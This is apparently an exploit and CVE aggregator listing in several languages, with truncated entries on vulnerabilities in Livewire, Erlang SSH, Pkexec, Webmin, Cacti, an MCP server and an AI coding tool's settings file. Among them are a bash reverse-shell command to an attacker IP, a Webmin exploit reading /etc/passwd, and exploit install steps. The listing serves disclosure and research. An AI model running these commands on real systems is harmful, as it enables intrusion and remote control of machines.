CVE-2025-54068-livewire

CVE-2025-54068 - Laboratorio Vulnerabile Livewire v3.6.3 Questa cartella crea un'applicazione minima Laravel + Livewire v3 bloccata alla versione Livewire 3.6.3 vulnerabile per riprodurre CVE-2025-54068. Il componente montato è scritto intenzionalmente per essere compatibile con la catena di...

CVE-2026-79622

A weakness has been identified in dekdee adobe-xd-mcp 1.0.0. Impacted is an unknown function of the file src/parsers/xd-parser.ts of the component file-access-from-request Endpoint. Executing a manipulation of the argument outputFile/outputDir can lead to path traversal. It is possible to launch...

CVE-2026-79623

A security vulnerability has been detected in FishCodeTech Muteki up to 0.2.5. The affected element is an unknown function of the file .claude/settings.json of the component Default Local Worker Backend. The manipulation leads to os command injection. The attack can be initiated remotely. The...

CVE-2026-79623

FishCodeTech Muteki (up to 0.2.5 ) contains an OS command injection vulnerability in the Default Local Worker Backend component, specifically in the file .claude/settings.json. The manipulation can be initiated remotely with low privileges and no user interaction, yielding moderate impact on conf...

CVE-2026-79622 dekdee adobe-xd-mcp file-access-from-request Endpoint xd-parser.ts path traversal

A weakness has been identified in dekdee adobe-xd-mcp 1.0.0. Impacted is an unknown function of the file src/parsers/xd-parser.ts of the component file-access-from-request Endpoint. Executing a manipulation of the argument outputFile/outputDir can lead to path traversal. It is possible to launch...

CVE-2026-79622

A path traversal vulnerability was identified in dekdee/adobe-xd-mcp version 1.0.0 , specifically in the file src/parsers/xd-parser.ts within the file-access-from-request Endpoint component. A remote attacker can manipulate the outputFile/outputDir argument to traverse the file system, leading to...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

pwnkit-helper

Escalation locale dei privilegi di Pkexec Sorgente: PwnKit Exploit. Se vuoi saperne di più su questo exploit, controlla: CVE-2021-4034 Questo helper per l'exploit funziona bene con Python3 e assicurati di aver installato i pacchetti. Renderà facilissimo ottenere la Fl4g di root, BUONA FORTUNA!...

WinboxExploit

WinboxExploit Implementação em C do BasuCert/WinboxPoC Vulnerabilidade Crítica do Winbox CVE-2018-14847 Apenas reimplementei uma solução de https://github.com/BasuCert/WinboxPoC...

K0mraid3s-System-Shell-PREBUILT

K0mraid3s-System-Shell Nel 2019 è stata scoperta una vulnerabilità, poi conosciuta come "CVE-2019-16253", che colpiva il motore TTS di Samsung nelle versioni precedenti alla 3.0.02.7. Questo exploit permetteva a un attaccante locale di elevare i propri privilegi a livello di sistema; in seguito...

CVE-2022-0847-DirtyPipe-Exploits

Dieses Repository hat keine README-Datei...

TELUGU_CVE-2018-4124_POC

Questo repository non contiene un README...

cve-2022-1609-exploit

cve-2022-1609-exploit Exploit para CVE-2022-1609 WordPress Weblizar Backdoor...

CVE-2020-10199-Nexus-3.21.01

CVE-2020-10199-Nexus-3.21.01 Sonatype Nexus 3.21.01 - Execução Remota de Código Autenticado - Atualizado Esta versão é baseada no exploit 49385 de Alvaro Muñoz e no exploit do metasploit para nexus https://www.exploit-db.com/exploits/49385 Altere o user, password, URL e CMD...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 Esecuzione di codice remoto non autenticata Usa Python 3 Esecuzione senza Docker: root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py...

CVE-2026-78656

A vulnerability was found in itsourcecode Sales and Inventory System 1.0. Affected is an unknown function of the file /pages/custdel.php. The manipulation of the argument ID results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used...

CVE-2025-1661

CVE-2025-1661 Exploit per CVE-2025-1661 - HUSKY – Products Filter Professional for WooCommerce 1.3.6.6 La PoC è ora pubblicata. È stata creata solo per scopi educativi/di ricerca! Utilizzala a tuo rischio e pericolo!...

ExploitWebmin

Script Webmin Progetto creato da: Gabriel Jose. Script Python per sfruttare la vulnerabilità webmin cve-2006-3392 Esempio di utilizzo ./exploitWebmin.py -pt http -t host -p port -f file root@kitploit: ./exploitWebmin.py -pt http -t 127.0.0.1 -p 10000 -f /etc/passwd...

PyStegosploit

PyStegosploit - Consegna di Exploit tramite Steganografia e Poliglotti video1 | video2 | page di Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael Maggio 2021 Stegosploit crea un nuovo modo per codificare exploit browser "drive-by" e consegnarli attraverso file immagine. Ques...

sploit-bX

sploit-bX Bash-Installer für die Exploits CVE-2017-0781 und CVE-2017-0785 sowie alles Notwendige für deren Nutzung. Diese Exploits dienen dazu, herauszufinden, ob unser Bluetooth angreifbar ist. Repository herunterladen git clone https://github.com/CarlosDelRosario7/sploit-bX Installation Wechsel...